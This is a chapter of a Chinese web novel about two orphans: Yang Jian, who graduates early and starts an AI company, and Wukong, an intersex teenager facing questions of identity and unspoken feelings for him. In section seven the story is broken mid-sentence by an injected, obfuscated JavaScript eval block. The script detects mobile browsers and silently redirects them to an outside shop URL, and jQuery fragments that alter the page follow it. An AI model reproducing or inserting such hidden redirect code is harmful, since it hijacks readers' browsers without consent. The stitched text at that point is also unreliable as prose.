第四章、风与风之间
一
杨戬十八岁那年夏天，从省理工大学毕业了。
别人用三年读完的高中，他只用了两年。别人用四年读完的大学，他只用了三年——保送进了本省最好的理工大学，用三年时间修完了计算机科学与技术的全部学分，毕业设计拿到了全校唯一的特等奖。
毕业典礼那天，杨院长带着福利院的几个孩子去了学校。杨戬站在主席台上，穿着学士服，帽子上的流苏从右边拨到左边，台下响起一阵掌声。他的脸在阳光下显得格外清晰——眉骨高，鼻梁直，下颌线条利落，笑起来的时候眼尾微微上挑，像一只收敛了爪子的猎豹。
“那是你哥？”旁边有人问悟空。
悟空站在人群后面，靠着一棵梧桐树，双手插在裤兜里。他十五岁了，身高勉强到了一米六，站在一群同龄人中间还是显得矮。
但那张脸太出挑了——五官精致得像画出来的，皮肤白得近乎透明，短头发被风吹得有点乱，整个人看起来像一个漂亮的瓷娃娃。没有男孩的棱角，也没有女孩的柔和，就是一种干净的、中性的、让人说不清道不明的好看。
“嗯。”悟空应了一声，目光没有离开台上那个人。
“你哥好帅啊。”说话的是悟空旁边的同学，一个圆脸的女生，眼睛亮晶晶的。
悟空没有说话。他看着杨戬在台上接过毕业证书，对着镜头微笑，然后走下台，被一群同学围住，握手、拥抱、拍肩膀。那些人里有六个和他最要好的——杨戬在大学里交到的六个朋友，个个都是技术疯子，据说毕业后要一起创业。
“哥！”悟空喊了一声。
杨戬转过头来，穿过人群看到了他。
那一瞬间，他的表情变了——从那种得体的、对外的、礼貌的微笑，变成了真正的、温暖的、只有对特定人才会露出的笑容。他快步走过来，在悟空面前站定，低头看着他。
十八岁的杨戬已经一米八了。他站在一米六的悟空面前，像一棵大树站在一株灌木旁边。他穿着学士服，阳光从他身后照过来，把悟空整个人笼罩在他的影子里。
“来了？”杨戬说。
“嗯。”悟空说。
两个人对视了两秒钟。杨戬伸出手，想像小时候那样揉揉悟空的头发，但手伸到一半，顿了一下，最后落在了悟空的肩膀上，轻轻拍了两下。
悟空没有躲，但他的肩膀微微绷紧了。
这个细微的变化被杨戬捕捉到了。他把手收回来，笑得自然，心里却有什么东西往下沉了沉。
“走吧，带你去吃好吃的。”杨戬说，“我毕业了，以后不读书了。”
“不读书了？”悟空抬起头，“那你要干什么？”
“创业。”杨戬的眼睛亮了起来，“我和老康他们几个开了家公司，做人工智能。办公室都租好了，下个月就开工。”
悟空看着他那双亮得惊人的眼睛，心里忽然涌上一股说不清的情绪。有骄傲——他哥果然是最厉害的。有羡慕——杨戬的人生像一条笔直的高速公路，每一公里都有路牌，清清楚楚。还有一种他自己都不愿意承认的东西——不甘心的、酸涩的、堵在胸口的东西。
“那挺好。”悟空说。
杨戬看着他，想说什么，但话到嘴边又换了一句：“你呢？中考怎么样？”
“全市第一。”悟空说。
“废话，”杨戬笑了，“你不第一谁第一。”
两个人并肩走出校园，走到校门口的时候，悟空忽然停下了脚步。
“哥。”
“嗯？”
“那个玉坠，”悟空的声音很轻，“我戴了六年了。”
杨戬转过头来。
“该还给你了。”悟空说着，伸手去解脖子上的红绳。
杨戬按住了他的手。
“不着急，”杨戬说，语气随意得像在说今天天气不错，“你先戴着。等我创业成功了，你再还我，当贺礼。”
悟空愣了一下，抬起头看着他的脸。杨戬的脸在阳光下轮廓分明，表情很认真，不像在开玩笑。
“……好。”悟空把手放下来，红绳重新系好，玉坠贴着胸口，还是凉的。
杨戬笑了，伸手揽过他的肩膀，两个人一起走出了校门。
这一次，悟空没有躲。
二
悟空以全市第一的成绩考进了城南中学高中部。
就是杨戬读过的那所学校，同一个校园，同一栋教学楼，甚至同一个物理实验室。他走进校门的那天，抬头看着那棵老槐树——学校门口也有一棵槐树，比福利院里那棵小一点，但也有几十年的树龄了，枝繁叶茂的，把阳光筛成一地碎金。
“你就是孙悟空？”负责报到的高年级学长看了他的录取通知书，又看了他一眼，表情有点微妙，“你就是那个……全市第一？”
“不像？”悟空微微抬了抬下巴。
学长笑了：“不是不像，是没想到。听说你打架厉害，还以为你长什么样呢。”
悟空没有回答这个问题，把录取通知书抽回来，转身走了。
他的名声比他本人到得更早。整个城南中学的教职工都知道，今年的中考状元是个“问题学生”——成绩好得离谱，纪律差得也离谱。初中三年，处分记录比成绩单还厚：打架、顶撞老师、上课睡觉、考试提前交卷但从不检查、偶尔还会从围墙翻出去不知道干什么。
校长在开学前的教师会议上特意提到了他：“孙悟空的成绩我们当然看重，但他的行为习惯也需要引导。各位老师要有耐心。”
但悟空不需要任何人的耐心。他比所有老师想象的要聪明得多，也比所有人想象的要难搞得多。
开学第一周，他就跟班主任吵了一架。原因是班主任让他当班长，他说“不干”，班主任说“这是学校对你的信任”，他说“我不要这种信任”，班主任说“你怎么这么不识好歹”，他说“我就是不识好歹”。
然后就走了。留下一教室目瞪口呆的同学和一个气得脸发白的班主任。
但他用了一个月的时间，就成了学校里最出名的人——不是因为他吵架，而是因为他的成绩。
第一次月考，他考了年级第一，比第二名高了四十一分。
第二次月考，比第二名高了五十三分。
期中考试，比第二名高了六十八分。
他的数学、物理、化学都是满分，英语只扣了一道选择题，语文扣得多了些——作文还是老问题，写得太短，老师说“立意深刻但情感不足”。
情感不足。悟空心想，当然不足。他从哪里来的情感？他连自己是谁都不知道。
但他交到了朋友。
三
朱罡和沙悟安是悟空在城南高中认识的第一个人和第二个人。
朱罡比他高一届，高二，一米八五，两百多斤，站在人群里像一堵移动的城墙。他是学校体育队的，练铅球，力气大得能单手把教室的门卸下来。但他脾气好得出奇，说话慢吞吞的，走路也慢吞吞的，笑起来憨厚得像一尊弥勒佛。
沙悟安和悟空同届，在隔壁班，一米七八，瘦得像竹竿，戴着一副黑框眼镜，看起来文文静静的，像个书呆子。但他其实是学校散打社的副社长，打起来能把人揍得找不着北。他不爱说话，但一开口就一针见血，属于那种“要么不说话，说话就得罪人”的类型。
三个人能凑到一起，是因为一次打架。
开学第二个月，学校里几个高二的混混找悟空的麻烦。原因很无聊——他们觉得悟空“太狂了”，要来教他做人。五个人堵在厕所里，把悟空围住了。
悟空看着那五个人，面无表情。他一个人打不过，他知道。他个子矮，打架全靠一股狠劲，但狠劲在一对五面前没什么用。他正准备硬拼的时候，厕所的门被人一脚踹开了。
朱罡站在门口，庞大的身躯几乎把整个门框填满了。他手里拿着一根拖把，拖把杆在他手里像一根筷子。
“谁要打架？”他问，声音不大，但浑厚得像低音炮。
那五个人面面相觑。朱罡是学校体育队的，每天扛着几十公斤的杠铃做深蹲，惹了他等于惹了一台推土机。
然后沙悟安从朱罡身后闪了出来。他没拿任何东西，只是把眼镜摘下来，折叠好，放进口袋里。
“五个人欺负一个，”他说，语气平淡得像在念课文，“要不要脸？”
那五个人中的一个骂了一句脏话，冲上来。沙悟安侧身一让，膝盖顶进对方的腹部，那人像一只被踩扁的虾米一样蜷缩在地上，再也起不来了。
剩下的四个没敢再动。
从那以后，三个人就成了铁三角。朱罡管后勤——负责吃饭买单和搬运重物；沙悟安管安全——负责解决一切需要动手的问题；悟空管脑子——负责出主意、写作业、帮他们俩抄笔记。
“你们俩成绩太差了，”悟空嫌弃地看着朱罡和沙悟安的月考成绩单，“一个倒数第三，一个倒数第七，你们是怎么考上城南中学的？”
“体育特招。”朱罡憨笑。
“我中考语文超常发挥，”沙悟安推了推眼镜，“其他科都是蒙的。”
悟空叹了口气，把他们的成绩单揉成一团，丢进垃圾桶。
“从今天开始，我给你们补课。数学从初一开始补，英语从初二开始。”
朱罡和沙悟安对视一眼，同时露出了痛苦的表情。但他们没有拒绝。因为悟空说“从今天开始”的时候，语气不是商量，是命令。
三个人就此绑在了一起。课间凑在一起，午饭凑在一起，放学后也凑在一起。
悟空给他们讲题的时候，朱罡趴在桌上打瞌睡，沙悟安盯着黑板发呆，但最后成绩居然真的提高了——朱罡从倒数第三提到了倒数第十三，沙悟安从倒数第七提到了正数第三十七。班主任看到进步，喜出望外，在班上表扬了朱罡和沙悟安，只字未提悟空。
悟空不在乎。
他在乎的事情越来越少。
四
杨戬的公司开在城东的科技园区，一栋灰白色的写字楼的第十四层。公司名字叫“戬空科技”——他没有跟悟空说第二个字是什么意思，悟空也没有问。
六个合伙人分别是康安裕、张伯时、李焕章、姚公麟、郭申、直健，都是杨戬在大学里认识的同学，六个人各有所长，凑在一起正好把技术、产品、运营、市场的坑都填上了。
创业的头半年，杨戬几乎没有回过福利院。
不是不想回，是回不去。产品开发到了最关键的阶段，他们做的是一个基于深度学习的工业质检系统，客户是一家做精密仪器的上市公司，合同签了，定金打了，系统必须在年底之前交付验收。
七个人挤在租来的办公室里，每天工作十六个小时，困了就躺在行军床上睡一会儿，醒了继续写代码、调模型、跑数据。
杨戬作为CEO，除了技术工作，还要见投资人、谈客户、管财务、招人。他十八岁的年纪，脸上还带着少年气，走进那些中年人的会议室，一开始总是被低估。但坐下来谈十分钟，对方的态度就变了——这个年轻人说话有条有理，逻辑清晰，对技术和市场都有超出年龄的理解。
“你多大了？”一个投资人问过他。
“十八。”杨戬说。
投资人沉默了五秒钟，然后在投资意向书上签了字。
杨戬从会议室出来的时候，手机震了一下。是悟空发来的消息，只有一张照片——福利院的院子里，那棵老槐树开始落叶了，地上铺了薄薄一层金黄。
照片下面没有文字。
杨戬站在写字楼的大堂里，看着那张照片，看了很久。落地窗外面的天空是灰蓝色的，十一月的风把路边的梧桐叶吹得满地跑。
他想回一条消息，打了几个字，又删掉。最后只发了一个字：“嗯。”
他把手机揣回兜里，上了电梯，回到十四楼，重新坐回电脑前。代码编辑器还开着，光标在最后一行一闪一闪的。
他觉得胸口那个位置有什么东西在隐隐地疼。
不是生病，是一种他知道名字但不敢叫出来的病。
五
悟空从十五岁到十六岁这一年，身体发生了一些变化。
最明显的是身高。生长激素打了快六年，效果一点点地累积起来，他勉强长到了一米六三。医生说骨龄还有空间，但最多再长一两公分，不可能再多了。一米六三，够了。他不贪心。
他每天早上起来照镜子，有时会盯着自己的脖子看很久。那里什么都没有——没有喉结，皮肤光洁平滑，像一块未曾被刻上任何标记的空白画布。他的声音也没有变，还是那种清亮的、中性的、介于男孩和女孩之间的音色，不高不低，像秋天的风。
他看着镜子里的自己，想从那张脸上找到一些“归属”的证据——不管是属于男孩还是女孩，什么都好。但那张脸什么都不属于。它就是它自己，干净得像一面没有被任何东西照过的镜子。
他不知道自己是谁。
医生小时候跟杨院长说过，他的染色体是XY，从生物学角度说属于男性。但他的身体在胚胎发育阶段没有完成性别分化，所以外生殖器没有形成。他是男性，但不是一个“完整”的男性。
“完整”这个词像一根刺，扎在他心里很多年了。
他不敢想以后。不敢想恋爱，不敢想婚姻，不敢想任何需要“性别”才能成立的事情。他想，也许他这辈子就一个人过了。这也没什么不好。他有杨奶奶，有朱罡和沙悟安，有那只后院的老猫。他有很多人，他不需要那种“特殊”的人。
但他控制不住自己的心。青春期的孩子，正是对异性充满好奇的时候。
他第一次发现自己对某个人产生了“特别”的感觉，是在高一下学期。班上有个女生叫苏晚亭，长得好看，成绩也好，是班里的文艺委员。有一天她在讲台上宣布元旦晚会的事情，穿着一条白色的连衣裙，头发扎成马尾，阳光从窗户照进来，她的侧脸像一幅画。
悟空坐在前排，看着她，心里忽然生出一种陌生的感觉。不是心跳加速，不是脸红出汗，而是一种安静的、仔细的注视——他想多看她一眼，想记住她说话时的样子，想知道她笑的时候眼睛会不会弯。
纯粹是心理上的好感和关注，因为他的生理上没有感觉。他的身体和别人不一样，没有那些器官、腺体和激素，没有让身体产生感觉的东西。他是一张白纸，什么标记都没有。
他不知道自己算什么——男孩？女孩？一个什么都不算的人？他不知道自己有没有资格对另一个人产生“特别”的感觉，更不知道这种感觉应该叫什么。
他把脸埋进胳膊里，用力闭上了眼睛。
那之后，他开始害怕睡觉。每天晚上躺下来，闭上眼睛，那些画面就会自动浮现出来——不是只有苏晚亭，还有其他人，有他见过的女生，有他不认识的女生，甚至在某个他不敢回想的瞬间，那张脸忽然变成了杨戬的。
他吓得整个人从床上弹了起来。
“怎么了？”下铺的同学被吵醒了，迷迷糊糊地问。
“……做噩梦了。”悟空说。
他坐在床上，抱着膝盖，后背全是冷汗。心脏跳得快要从嗓子眼里蹦出来，不是因为害怕，是因为——他不敢想是因为什么。
他不敢去想杨戬的脸为什么会出现在那种画面里。
他把脸埋进膝盖，对自己说：你没有资格。你连自己是什么都不知道，你没有资格去想任何人。
他在黑暗中睁着眼睛，一直睁到天亮。
六
杨戬在创业的第二年，遇到了一个人。
那天他去参加一个行业峰会，在会展中心的大厅里做主题演讲。他穿着深灰色的西装，头发梳得一丝不苟，站在讲台上，PPT翻了一页又一页，台下坐满了人。他的声音不大，但很稳，每一个字都清清楚楚地落在麦克风里。
演讲结束后，有一个自由交流的环节。他端着矿泉水站在展位旁边，陆陆续续有人过来递名片。他一一收下，微笑，寒暄，说一些客套话。
然后有一个人走过来。
女人，二十五六岁的样子，穿着一件黑色的连衣裙，长发披在肩上，五官精致但不张扬，气质很干净。她递过来一张名片，上面印着“敖寸心，致远资本投资经理”。
“杨总，您的演讲很精彩。”她的声音不高不低，很舒服。
“谢谢。”杨戬接过名片，看了一眼，抬起头，“致远资本？你们投过那个……‘未来之瞳’的项目？”
敖寸心微微一愣，然后笑了：“您对我们还挺了解的。是的，‘未来之瞳’是我们去年投的项目，团队很优秀，产品也很出色。”
“产品的算法架构有问题，”杨戬说，“他们在特征提取层用了太多冗余的卷积核，导致计算量大了三倍。如果你们愿意，我可以帮你们出一个优化方案。”
敖寸心看着他的眼神变了——从那种职业性的、礼貌的笑容，变成了真正的、带着好奇和欣赏的目光。
“杨总，您是真的懂。”她说。
他们聊了将近一个小时。从技术聊到市场，从市场聊到团队，从团队聊到各自的经历。敖寸心是海归，在美国读完金融硕士回国，在致远资本做了一年多，投了几个项目，成绩不错。她说她最近在看人工智能赛道，对杨戬的“戬空科技”很感兴趣。
“你才十九岁，”敖寸心看着他，“你不觉得累吗？”
杨戬想了想：“累。但停不下来。”
敖寸心看着他，不知道为什么，忽然觉得这个比自己小六岁的男生有一种很特别的东西。不是那种二十岁出头的年轻人的锐气，是一种更深层的、被什么东西撑着的、不能倒也不能停的韧性。
“下次去你公司看看。”她说。
“欢迎。”杨戬说。
他们交换了微信。从那以后，敖寸心隔三差五就会发消息过来——有时候是行业新闻，有时候是项目推荐，有时候只是一句“今天天气不错”。杨戬每一条都回复，语气客气但不疏离，热情但不越界。
他知道敖寸心对他有意思。他也知道，如果他想，这段关系可以往前走一步。敖寸心漂亮、聪明、家境好、事业有成，是那种放在任何场合都不逊色的伴侣。
但他不想。
不是不想谈恋爱。他十九岁了，身体和情感都在最旺盛的阶段。他会有欲望，会在半夜从梦中醒来，梦里的那些画面模糊而潮湿，有些关于悟空，有些不是。他会对着镜子看自己身体的变化——宽肩窄腰，腹肌若隐若现，胡茬硬得扎手。他有一切男人该有的东西，而且比大多数同龄人更优越。
但他的心不在那里。
他的心在城南，在仁爱福利院，在那一棵老槐树下面。在那个人身上。
那个人十六岁，上高二了，长高了一点，但还是矮；那个人成绩好得离谱，但天天闯祸；那个人脖子上戴着他七年前亲手系上的玉坠，从来没有摘下来过。
那个人不叫他“哥”了。从什么时候开始的，他不知道。也许是从上次见面的时候，那个人喊了一声“杨戬”，没有加称呼，没有前缀，就是干干脆脆的两个字。
杨戬听到那两个字的时候，心脏像被人用手攥了一下。
不是“哥”，不是“哥哥”，是“杨戬”。像是在叫一个同龄的人，一个平等的人，一个不再是哥哥而成了别的什么人的人。
他不知道那是什么人。
但他想知道。
七
杨戬创业的第二年年底，公司拿到了第一笔融资。
一百二十万，来自致远资本。签字的那天，敖寸心作为投资方代表来到公司，在合同上签下自己的名字，然后笑着向杨戬伸出手。
“合作愉快。”
“合作愉快。”
杨戬的手干燥而有力，握了三秒钟，松开。敖寸心没有立刻收回手，而是多停留了半秒，然后若无其事地把手插进大衣口袋里。
那天晚上，六人组说要庆祝，在园区旁边的小餐馆订了个包间。七个人围坐一桌，啤酒一箱一箱地搬上来，康安裕站起来举杯：“来，敬我们杨总，一百二十万的融资，牛逼！”
“敬杨总！”六个人举杯。
杨戬也举了杯，喝了一口啤酒。他不喜欢喝酒，啤酒的味道苦，但今天这杯喝下去，嘴里是甜的。
喝到一半，酒劲儿上来了，桌子上热闹得像个菜市场。张伯时和李焕章在掰手腕，姚公麟和郭申在争论一个技术方案，直健趴在桌上睡着了。
杨戬从包间里走出来，站在走廊上透气。餐馆外面是一条小路，路灯昏黄，梧桐树的影子落在地上，像一把把撑开的伞。
他拿出手机，翻到悟空的微信。对话记录停留在三天前——悟空发了一张照片，是学校食堂的饭，配文“难吃”。他回了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605929|205720||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两个字“多吃”。然后就没有了。
他看着那个对话框，打了几个字：“我拿融资了。”
想了想，删掉了。太像炫耀。
又打了几个字：“最近怎么样？”
又删掉了。太像客套。
最后他什么都没发，把手机揣回兜里，抬头看着天上的月亮。月亮很圆，很亮，挂在梧桐树的枝丫之间，像一枚银色的纽扣。
他想，悟空现在在干什么呢？在写作业？在睡觉？还是在福利院的院子里，靠着那棵老槐树，抬头看着同一轮月亮？
他想跟悟空说很多话。想说公司拿到融资了，想说他们七人团的人都很好，想说城东的梧桐叶子落了，想说他想他了。
但他什么都没说。因为他已经不是那个会骑着自行车把悟空驮在后面的少年了。他十九岁了，是一家公司的CEO，手底下有十几个人，肩上扛着投资人的钱和员工的饭碗。他不能说那些柔软的话了，话太软了，容易让人看见他的弱点。
他不能有弱点。
他回到包间，又喝了一杯酒，苦的。这次不是甜的。
八
悟空十七岁生日那天，收到了杨戬的礼物。
快递箱子不大，用咖啡色的胶带封着，上面贴着白色的快递单，寄件人写着“杨戬”，地址是城东科技园区。悟空用钥匙划开胶带，打开箱子，里面是一双运动鞋——白色的，很轻，鞋底有弹性，是他一直想要但没舍得买的那款。
鞋盒里还塞着一张纸条，纸条上只有一行字：
“长高一点，这鞋能帮你跳得更高。”
悟空的眼眶一下子就红了。
他把纸条仔细地折好，夹在枕头下面，和那些已经化了大白兔奶糖的糖纸放在一起。然后他穿上那双新鞋，在地上跳了两下，确实很轻，轻得像踩在云上。
他想给杨戬打电话说谢谢。他拿起手机，拨了那个号码，响了三声，被挂断了。
过了一会儿，杨戬回了一条消息：“在开会，晚点打给你。”
悟空看着那条消息，看了很久。他把手机放在床头柜上，屏幕朝下，不让自己再看了。
他穿着那双新鞋，在宿舍里走来走去，走到窗户边，推开窗。外面是南方的冬天，湿冷的风灌进来，带着一股说不清的味道——有食堂的油烟味，有操场塑胶跑道被晒过的橡胶味，有远处人家烧煤炉的烟味。
他把手伸到窗外，指尖被风吹得发凉。
他想，杨戬的手现在在做什么呢？在敲键盘？在握鼠标？在跟人握手？还是像他十一岁那年一样，在某个深夜里，伸过来，握住他的手，放在心口上，让他听那一下一下的跳动？
他闭上眼睛，把手按在自己的胸口。
一下，两下，三下。
跳得很快。不是那种安稳的、有力的、像鼓一样的声音，是一种慌乱的、急促的、像有什么东西要从胸腔里撞出来的声音。
他不知道这心跳是因为什么。是因为风太冷？是因为那双新鞋？是因为杨戬说“晚点打给你”？
还是因为别的原因。
他把手放下来，关上窗户，拉好窗帘，躺回床上。他把被子拉到下巴，睁着眼睛，看着上铺的床板。床板上有他用圆珠笔写的一个字——很久以前写的，字迹已经有些模糊了。
“戬。”
他看着那个字，看到眼睛酸了，就闭上了。
手机始终没有响。
九
杨戬开完会的时候，已经快晚上十一点了。
投资人那边临时变了需求，要求他们在下一轮融资之前增加一个功能模块，否则“估值会有较大调整”。七人团队开了三个小时的会，吵了两架，最后勉强达成一致：做，但需要延期交付。
他回到办公室，所有人都在收拾东西准备走了。康安裕拍了拍他的肩膀：“杨总，早点休息，明天再说。”
杨戬点了点头。等所有人都走了，他一个人坐在空荡荡的办公室里，面前的电脑屏幕还亮着，显示着刚才会议的记录文档。
他拿起手机，看到一小时前悟空打来的电话，未接。
他赶紧拨了回去。响了两声就接了。
“喂。”悟空的声音从那头传过来，有点困，有点哑，像是被电话吵醒的。
“生日礼物收到了？”杨戬问，嗓子有点紧。
“嗯。收到了。”悟空说，那个称呼在嘴边转了一下，还是没压住，滑了出来。“谢谢哥。”
他叫了哥。
杨戬握着手机的手指微微收紧了。他靠在椅背上，把手机贴在耳朵上，闭上了眼睛。
“合脚吗？”他问。
“合脚。”悟空说，“很轻。”
“那就好。”
话音落了，两个人都沉默了。电话里只剩下电流的沙沙声和彼此的呼吸声。办公室里很安静，只有空调外机发出嗡嗡的低响。
“杨戬。”悟空先开口了。
“嗯。”
“你在那边……还好吗？”
杨戬睁开眼睛，看着天花板上白晃晃的灯管。那光线太亮了，刺得他眼睛有点疼。
“还好。”他说，“公司拿了融资，一百二十万。”
“那么多？”悟空的声音里终于有了一点孩子气的惊讶。
“多什么，烧几个月就没了。”杨戬笑了，“你呢？听说你又在学校打架了？”
电话那头沉默了两秒。
“没打，”悟空说，“我朋友打的。”
“朋友？”
“嗯，一个姓朱，一个姓沙。都是自己人。”
杨戬听着那句话——“自己人”，心里忽然涌上一股说不出的滋味。不是嫉妒，他没那么小心眼。是一种更微妙的、更酸涩的东西：他不再是悟空唯一的“自己人”了。
“挺好的，”杨戬说，“有朋友就好。”
“嗯。”
又是一个沉默。悟空似乎在等他说什么，他也在想该说什么。但那些真正想说的话——想你，想回去，想见你——全都堵在喉咙里，怎么都说不出来。
“生日快乐。”杨戬说。
电话那头安静了一瞬。然后悟空的声音响起来，轻轻的，像是怕惊动什么：“……嗯。”
两个人都没有说话，就那样听着彼此的呼吸声，隔着一根看不见的线，四十公里的距离。
“你……”悟空忽然又开口了。
“嗯。”
“你什么时候回来？”
这句话问得很轻，轻得像一片落在水面的叶子，几乎没有声音，但杨戬听到了。每一个字都听到了。
他想说“下周末”，想说“等我忙完这阵”，想说“很快”。但这些话他都说过了，说过很多遍了，每一遍都像在画饼。他张开嘴，又闭上了。
“……快了。”他说。
悟空没有追问。沉默了两秒钟，说：“好。那我挂了。”
“嗯。”
电话断了。忙音嘟嘟地响了两声，然后屏幕暗了下去。
杨戬坐在办公室的黑暗里——他不知道什么时候关了灯——手机屏幕还亮着，显示着通话记录。时长十一分钟零七秒。
他把手机放在桌上，仰起头，闭上眼睛。
办公室里很安静。十四楼的窗户开着一条缝，风从外面灌进来，吹动了桌上散落的文件，发出沙沙的声响。
那声音让他想起福利院的老槐树。秋天的晚上，风穿过树叶的声音，就是这样沙沙的，细细的，像有人在很远的地方说话。
他想起那个人说“你什么时候回来”时的语气。不是质问，不是抱怨，就是很轻很轻地问了一句，像一棵树在问风：你什么时候再吹过来？
他没有答案。
他想，悟空十七岁了。
而他连回去的时间都说不准。
十
悟空挂了电话之后，在黑暗中躺了很久。
手机屏幕灭了，房间彻底暗了下来。宿舍里其他三个人都睡了，呼吸声此起彼伏。他把被子蒙在头上，把手机攥在手心里，攥得很紧，屏幕贴着胸口，隔着一层薄薄的睡衣，能感觉到有一点点温度。
杨戬的声音还在他耳朵里转。“合脚吗？”“那就好。”“有朋友就好。”
每一句都淡淡的，像白开水。但悟空觉得那些话的分量很重，重到他的胸口发闷。
他把手伸进领口，摸到玉坠。玉坠被他的体温捂热了，但中间那一丝白絮还是凉的，像一小缕冻在碧绿里的烟。
他想起杨戬十一岁那年，笨手笨脚地给他系上这根红绳，说“你先帮我戴着，等你要走的时候再还我”。
八年了，他没还。杨戬也没让他还。
但他知道，总有一天要还的。
不是因为杨戬会要，是因为他自己不能一直占着。这枚玉坠是他跟杨戬之间唯一的、实物的、看得见摸得着的联系。如果没有了这枚玉坠，他们之间还有什么？
一个叫“哥”的称呼？
一张每年生日才会寄来的纸条？
一通十一分钟的、充满了沉默的电话？
他攥着玉坠，翻了个身，面朝墙壁。墙壁上有一块水渍，形状像一只鸟，翅膀展开，好像在飞，但飞不出去，永远困在那片灰白色的墙皮里。
他看着那只鸟，慢慢地，闭上了眼睛。
梦里他回到了福利院的后院。老槐树还在，秋千还在，杨戬站在秋千旁边，逆着光，脸看不清楚，但他的声音很清楚。
“悟空，过来。”
悟空跑过去。他跑得很快，风从耳边刮过去，呼呼的。但不管他怎么跑，他和杨戬之间的距离都没有变近。他跑得越快，杨戬就退得越快，像那棵树在移动，像那个秋千在后退，像整个世界都在跟他作对。
他停了下来，大口大口地喘气。
“哥，你等等我。”他喊。
梦里的杨戬没有回答。他只是站在那里，逆着光，脸还是看不清楚。
然后梦就断了。
悟空醒来的时候，枕头湿了一小块。
他看了一眼枕头，愣了一下，然后飞快地把枕头翻了个面，把湿的那一面压在下面，不让任何人看见。
他没有哭。他已经很久没有哭过了。
那一定是口水。
他这样告诉自己，然后起了床，穿上那双新鞋，踩着比云还轻的步子，走进了十七岁的冬天。
（第四章完）